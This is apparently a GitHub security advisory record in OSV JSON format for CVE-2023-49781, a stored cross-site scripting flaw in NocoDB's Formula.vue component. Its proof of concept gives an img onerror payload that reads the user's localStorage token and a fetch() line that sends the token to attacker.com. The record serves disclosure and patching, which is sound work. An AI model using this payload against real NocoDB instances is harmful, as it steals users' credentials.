{"id":"GHSA-h6r4-xvw6-jc5h","summary":"NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue","details":"### Summary\nA stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.\n\n### Details\nThe nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag \u003ca\u003e with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is \u003cimg src=1 onerror=\"malicious javascripts\"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.\n\n### PoC\nStep 1: Attacker login the nocodb and creates a table with two fields, \"T\" and \"F\". The type of field \"T\" is \"SingleLineText\", and the type of the \"F\" is \"Fomula\" with the formula content {T}\nStep 2: The attacker sets the contents of T using \u003cimg src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)\nStep 3: The attacker clicks the \"Share\" button and enables public viewing, then copies the shared link and sends it to the victims\nStep 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage\n\nThe attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website.\n\n### Impact\nStealing the credentials of NocoDB user that clicks the malicious link.","aliases":["CVE-2023-49781"],"modified":"2026-08-24T00:35:48.311216765Z","published":"2024-05-13T19:59:07Z","database_specific":{"nvd_published_at":"2024-05-14T14:06:05Z","cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-05-13T19:59:07Z"},"references":[{"type":"WEB","url":"https://github.com/nocodb/nocodb/security/advisories/GHSA-h6r4-xvw6-jc5h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49781"},{"type":"WEB","url":"https://github.com/nocodb/nocodb/commit/7f58ce3726dfec71537d8b80474a0f95a48a1574"},{"type":"PACKAGE","url":"https://github.com/nocodb/nocodb"}],"affected":[{"package":{"name":"nocodb","ecosystem":"npm","purl":"pkg:npm/nocodb"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.202.9"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.202.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/05/GHSA-h6r4-xvw6-jc5h/GHSA-h6r4-xvw6-jc5h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}
